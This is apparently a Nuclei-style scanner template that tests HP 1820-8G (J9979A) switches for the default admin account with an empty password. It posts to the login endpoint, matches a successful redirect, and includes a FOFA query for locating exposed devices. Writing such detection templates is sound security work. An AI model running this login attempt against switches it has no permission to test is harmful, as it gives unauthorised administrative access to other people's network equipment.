id: hp-switch-default-login

info:
  name: HP 1820-8G Switch J9979A Default Login
  author: pussycat0x
  severity: high
  description: HP 1820-8G Switch J9979A default admin login credentials were discovered.
  reference:
    - https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
    fofa-query: HP 1820-8G Switch J9979A
  tags: default-login,hp,vuln

http:
  - raw:
      - |
        POST /htdocs/login/login.lua HTTP/1.1
        Host: {{Hostname}}

        username={{username}}&password=

    payloads:
      username:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        condition: and
        words:
          - '"redirect": "/htdocs/pages/main/main.lsp"'
          - '"error": ""'

      - type: status
        status:
          - 200
# digest: 490a00463044022069731d67c98c081eb32de4b88c62b3db20b0aa5006ec20afda6898c0312ee2cb0220159dd858dd5f5b96994d0a0defbe94ad6ce689b08eaf24f949a360fad9ff2675:922c64590222798bb761d5b6d8e72950